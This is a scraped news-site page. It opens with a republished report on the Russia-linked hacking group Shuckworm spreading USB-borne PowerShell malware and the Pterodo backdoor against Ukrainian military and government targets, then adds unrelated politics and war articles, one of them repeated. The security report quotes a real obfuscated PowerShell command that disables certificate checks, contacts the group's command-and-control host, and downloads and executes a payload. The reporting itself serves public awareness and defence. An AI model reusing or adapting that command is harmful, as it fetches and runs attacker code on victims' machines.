Connect with us

Published

on

LASER-FOCUSED — Russia-backed hackers unleash new USB-based malware on Ukraines military Shuckworm’s relentless attacks seek intel for use in Russia’s invasion of Ukraine.

Dan Goodin – Jun 15, 2023 10:30 am UTC EnlargeGetty Images reader comments 9 with

Hackers working for Russias Federal Security Service have mounted multiple cyberattacks that used USB-based malware to steal large amounts of data from Ukrainian targets for use in its ongoing invasion of its smaller neighbor, researchers said.

The sectors and nature of the organizations and machines targeted may have given the attackers access to significant amounts of sensitive information, researchers from Symantec, now owned by Broadcom, wrote in a Thursday post. There were indications in some organizations that the attackers were on the machines of the organizations human resources departments, indicating that information about individuals working at the various organizations was a priority for the attackers, among other things.

The group, which Symantec tracks as Shuckworm and other researchers call Gamaredon and Armageddon, has been active since 2014 and has been linked to Russias FSB, the principal security service in that country. The group focuses solely on obtaining intelligence on Ukrainian targets. In 2020, researchers at security firm SentinelOne said the hacking group had attacked over 5,000 individual entities across the Ukraine, with particular focus on areas where Ukrainian troops are deployed.

In February, Shuckworm began deploying new malware and command-and-control infrastructure that has successfully penetrated the defenses of multiple Ukrainian organizations in the military, security services, and government of that country. Group members seem most interested in obtaining information related to sensitive military information that could be abused in Russias ongoing invasion.

This newer campaign debuted new malware in the form of a PowerShell script that spreads Pterodo, a Shuckworm-created backdoor. The script activates when infected USB drives are connected to targeted computers. The malicious script first copies itself onto the targeted machine to create a shortcut file with the extension rtf.lnk. The files have names such as video_porn.rtf.lnk, do_not_delete.rtf.lnk, and evidence.rtf.lnk. The names, which are mostly in the Ukrainian language, are an attempt to entice targets to open the files so they will install Pterodo on machines. Advertisement

The script goes on to enumerate all drives connected to the targeted computer and to copy itself to all attached removable drives, most likely in hopes of infecting any air-gapped devices, which are intentionally not connected to the Internet in an attempt to prevent them from being hacked.

To cover its tracks, Shuckworm has created dozens of variants and rapidly rotated the IP addresses and infrastructure it uses for command and control. The group also uses legitimate services such as Telegram and its micro-blogging platform Telegraph for command and control in another attempt to avoid detection.

Shuckworm typically uses phishing emails as an initial vector into targets computers. The emails contain malicious attachments that masquerade as files with extensions, including .docx, .rar, .sfx, lnk, and hta. Emails often use topics such as armed conflicts, criminal proceedings, combating crime, and protecting children as lures to get targets to open the emails and click on the attachments.

Symantec researchers said that an infected computer they recovered in the campaign was typical for the way it works. They wrote: In one victim, the first sign of malicious activity was when the user appeared to open a RAR archive file that was likely delivered via a spear-phishing email and which contained a malicious Document.

After the document was opened, a malicious PowerShell command was observed being executed to download the next-stage payload from the attackers C&C server:

“CSIDL_SYSTEMcmd.exe” /c start /min “” powershell -w hidden
“$gt=’/get.’+[char](56+56)+[char](104)+[char](112);$hosta=[char](50+4
8);[system.net.servicepointmanager]::servercertificatevalidationcallb
ack={$true};$hosta+=’.vafikgo.’;$hosta+=[char](57+57);$hosta+=[char](
60+57);$addrs=[system.net.dns]::gethostbyname($hosta);$addr=$addrs.ad
dresslist[0];$client=(new-object
net.webclient);$faddr=’htt’+’ps://’+$addr+$gt;$text=$client.downloads
tring($faddr);iex $text”

More recently, Symantec has observed Shuckworm leveraging more IP addresses in their PowerShell scripts. This is likely an attempt to evade some tracking methods employed by researchers.

Shuckworm also continues to update the obfuscation techniques used in its PowerShell scripts in an attempt to avoid detection, with up to 25 new variants of the groups scripts observed per month between January and April 2023.

Thursdays post includes IP addresses, hashes, file names, and other indicators of compromise people can use to detect if they have been targeted. The post also warns that the group poses a threat that targets should take seriously.

This activity demonstrates that Shuckworms relentless focus on Ukraine continues, they wrote. It seems clear that Russian nation-state-backed attack groups continue to laser in on Ukrainian targets in attempts to find data that may potentially help their military operations. reader comments 9 with Dan Goodin Dan Goodin is Senior Security Editor at Ars Technica, where he oversees coverage of malware, computer espionage, botnets, hardware hacking, encryption, and passwords. In his spare time, he enjoys gardening, cooking, and following the independent music scene. Advertisement Channel Ars Technica ← Previous story Next story → Related Stories Today on Ars

Continue Reading

Politics

Andy Burnham warns Labour not to ‘underestimate the peril’ party is in

Published

on

By

Andy Burnham warns Labour not to 'underestimate the peril' party is in

Andy Burnham has hit out at allies of Sir Keir Starmer for “demanding simplistic statements of loyalty”, claiming they are underestimating the “peril” Labour is in.

The mayor of Greater Manchester insisted his recent interventions have not been about “personal ambition”, but starting an “open debate” about the direction of the party ahead of potentially catastrophic local and devolved elections next year.

In the lead up to Labour’s annual conference in Liverpool this week, the so-called “King of the North” has accused Sir Keir of having no vision for the country, while setting out his own policy proposals.

Follow the latest from our politics team

Pic: PA
Image:
Pic: PA

It has fuelled mounting speculation he could launch a future leadership challenge against the prime minister, who in turn has compared Mr Burnham to Liz Truss.

At a fringe event on the opening day of the conference, the Northern mayor said: “I was clear in the interviews I gave last week, I wanted to launch a debate about the direction of the party and getting a plan to beat Reform UK.

More from Politics

“Those out there making calls for simplistic statements of loyalty are underestimating the peril the party is in.”

Two polls this week have predicted Reform UK leader Nigel Farage will become the next prime minister, while a poll of Labour members found more than half of them don’t want Sir Keir to fight the next general election.

Mr Burnham later turned up to a rally about Proportional Representation (PR), in which he insisted he wanted “this government to work”.

He received a rapturous reception as he entered the room, flanked by over a dozen photographers.

Andy Bunrham flanked by media at a fringe event
Image:
Andy Bunrham flanked by media at a fringe event

Mr Burnham made light of the attention, quipping that “there’s nothing more unstoppable than an idea whose time has come”, in reference to PR.

But this was not the focus of the punchy speech that followed, in which he criticised the Labour leadership’s handling of dissent, saying a “climate of fear” was preventing MPs from having an “open debate” about the direction of the party.

👉Listen to Politics at Sam and Anne’s on your podcast app👈

A handful of Labour MPs have been suspended over the past year for criticising the government on issues like welfare reform and the two child benefit cap, but Mr Burnham has the freedom to be outspoken as he is not a member of parliament.

He said he had been accused of “all sorts of things” in the past week but had done “nothing more than launch a debate”.

Mr Burnham drew clear dividing lines in a recent interview with The New Statesman, as he said the country should be “less in hock to the bond markets”, called for a greater focus on council housing and said public utilities should be nationalised.

It fuelled speculation of an impending leadership challenge, given Mr Burnham fought twice to run the Labour Party while he was an MP, before stepping down in 2017 to run for the metro mayor position. He has not ruled out a return to Westminster and last week claimed Labour MPs have privately asked him to stand.

Sir Keir tried to shut down the narrative by suggesting Mr Burnham’s policies would unleash the economic chaos of Ms Truss, whose fatal mini budget sent the markets into meltdown, as he dismissed the “personal ambitions of the mayor”.

However, in a direct message to “those who say that I’m speaking out purely for my own ambition”, a defiant Mr Burnham said: “I can say to you tonight I am speaking out for the thousands of councillors here at this conference who are worried about going to those doorsteps next May, speaking for the members of the Senedd who, again, are working hard to keep Wales Labour… and, of course, members of the Scottish parliament as well, who want a stronger story about Labour to go to those doorsteps.

“I’m speaking out for the millions of good people around Britain who want a more hopeful direction for the country.

“I think we can do it. I honestly believe it can be done. We can make this government work, we can find that more hopeful direction and we can win again at the next general election.”

The speech was met with a big round of applause from members, while one Labour MP told Sky News it was a “great speech”.

And while cabinet ministers have called for the party to unite behind the prime minister to fight Reform UK – there appeared to a change in tone from Wes Streeting as the first day of conference drew to a close.

The health secretary told a fringe event that the government must be “open to challenge” from within.

He said: “We’ve got to be self-confident enough as ministers to be open to challenge, and openly debate different ideas, because it makes you stronger as a government.”

Continue Reading

World

Russia’s clear warning that it can easily chip away at Europe’s defences

Published

on

By

Russia's clear warning that it can easily chip away at Europe's defences

The brutality of Russia’s drone assaults on Ukraine’s towns and cities shows no let up.

“Savage strikes, a deliberate targeted terror” is how the Ukrainian President Volodymyr Zelenskyy described the latest overnight bombardment.

Some 595 attack drones and 48 missiles were involved and even if only a small fraction made it through Ukrainian air defences, the destruction – in Sumy and Odessa, Zaporizhia and Kyiv – is significant.

Please use Chrome browser for a more accessible video player

Russia strikes Kyiv in major attack

Also overnight, Denmark reported yet more drone sightings.

It has not named Russia directly but after a week in which unidentified drones have resulted in the temporary shutdown of military and civilian airports, it is banning all civil drone flights and describing the threat as a hybrid attack.

Germany is also raising the alarm over unexplained drone activity along its border with Denmark.

Germany’s interior minister said on Saturday: “We are witnessing an arms race, an arms race between drone threats and drone defences. It is a race we cannot afford to lose.”

NATO is having to deploy extra assets to beef up its Baltic Sea defences and its Eastern flank.

European nations are working to establish a drone wall along their borders with Russia and Ukraine.

Germany is setting up a drone defence centre to make sure it has what it needs to protect itself.

The Kremlin is forcing NATO to divert assets to protect its airspace and sub-sea infrastructure at a time when Europe is trying to work out how best to support and finance Ukraine.

Read more:
Putin’s top diplomat issues warning
Why Trump has made a U-turn

With drones an inexpensive element of its hybrid warfare arsenal, Russia is sending a clear warning that it can relatively easily chip away at Europe’s defences and that Europe had better focus on protecting itself.

“If NATO begins to look too rattled, that actually is encouragement for Putin precisely to step up the pressure,” says Mark Galeotti, a specialist in Russian security. “So really we need to be holding our nerve.

“Yes, reserving the right to shoot things down that look like direct threats, but otherwise actually talking down, not talking up, the nature of the threat while of course we arm so that we are even more prepared.”

Last week, Estonia said its fighter jets had escorted three Russian MIG fighter jets out of their airspace after a 12-minute incursion, which Russia denies ever took place.

Please use Chrome browser for a more accessible video player

Russia denies violating Estonia airspace amid NATO outrage

On Saturday, Estonia pledged €10m (£8.7m) to NATO’s “Prioritised Ukraine Requirement List” or PURL programme, which sees US-produced weapons, paid for by NATO’s European partners, fast-tracked to Ukraine.

Zelenskyy posted on Sunday after speaking with the NATO secretary general that PURL is moving forward well. And that is just what Russia is trying to prevent.

Continue Reading

UK

Andy Burnham warns Labour not to ‘underestimate the peril’ party is in

Published

on

By

Andy Burnham warns Labour not to 'underestimate the peril' party is in

Andy Burnham has hit out at allies of Sir Keir Starmer for “demanding simplistic statements of loyalty”, claiming they are underestimating the “peril” Labour is in.

The mayor of Greater Manchester insisted his recent interventions have not been about “personal ambition”, but starting an “open debate” about the direction of the party ahead of potentially catastrophic local and devolved elections next year.

In the lead up to Labour’s annual conference in Liverpool this week, the so-called “King of the North” has accused Sir Keir of having no vision for the country, while setting out his own policy proposals.

Follow the latest from our politics team

Pic: PA
Image:
Pic: PA

It has fuelled mounting speculation he could launch a future leadership challenge against the prime minister, who in turn has compared Mr Burnham to Liz Truss.

At a fringe event on the opening day of the conference, the Northern mayor said: “I was clear in the interviews I gave last week, I wanted to launch a debate about the direction of the party and getting a plan to beat Reform UK.

More from Politics

“Those out there making calls for simplistic statements of loyalty are underestimating the peril the party is in.”

Two polls this week have predicted Reform UK leader Nigel Farage will become the next prime minister, while a poll of Labour members found more than half of them don’t want Sir Keir to fight the next general election.

Mr Burnham later turned up to a rally about Proportional Representation (PR), in which he insisted he wanted “this government to work”.

He received a rapturous reception as he entered the room, flanked by over a dozen photographers.

Andy Bunrham flanked by media at a fringe event
Image:
Andy Bunrham flanked by media at a fringe event

Mr Burnham made light of the attention, quipping that “there’s nothing more unstoppable than an idea whose time has come”, in reference to PR.

But this was not the focus of the punchy speech that followed, in which he criticised the Labour leadership’s handling of dissent, saying a “climate of fear” was preventing MPs from having an “open debate” about the direction of the party.

👉Listen to Politics at Sam and Anne’s on your podcast app👈

A handful of Labour MPs have been suspended over the past year for criticising the government on issues like welfare reform and the two child benefit cap, but Mr Burnham has the freedom to be outspoken as he is not a member of parliament.

He said he had been accused of “all sorts of things” in the past week but had done “nothing more than launch a debate”.

Mr Burnham drew clear dividing lines in a recent interview with The New Statesman, as he said the country should be “less in hock to the bond markets”, called for a greater focus on council housing and said public utilities should be nationalised.

It fuelled speculation of an impending leadership challenge, given Mr Burnham fought twice to run the Labour Party while he was an MP, before stepping down in 2017 to run for the metro mayor position. He has not ruled out a return to Westminster and last week claimed Labour MPs have privately asked him to stand.

Sir Keir tried to shut down the narrative by suggesting Mr Burnham’s policies would unleash the economic chaos of Ms Truss, whose fatal mini budget sent the markets into meltdown, as he dismissed the “personal ambitions of the mayor”.

However, in a direct message to “those who say that I’m speaking out purely for my own ambition”, a defiant Mr Burnham said: “I can say to you tonight I am speaking out for the thousands of councillors here at this conference who are worried about going to those doorsteps next May, speaking for the members of the Senedd who, again, are working hard to keep Wales Labour… and, of course, members of the Scottish parliament as well, who want a stronger story about Labour to go to those doorsteps.

“I’m speaking out for the millions of good people around Britain who want a more hopeful direction for the country.

“I think we can do it. I honestly believe it can be done. We can make this government work, we can find that more hopeful direction and we can win again at the next general election.”

The speech was met with a big round of applause from members, while one Labour MP told Sky News it was a “great speech”.

And while cabinet ministers have called for the party to unite behind the prime minister to fight Reform UK – there appeared to a change in tone from Wes Streeting as the first day of conference drew to a close.

The health secretary told a fringe event that the government must be “open to challenge” from within.

He said: “We’ve got to be self-confident enough as ministers to be open to challenge, and openly debate different ideas, because it makes you stronger as a government.”

Continue Reading

Trending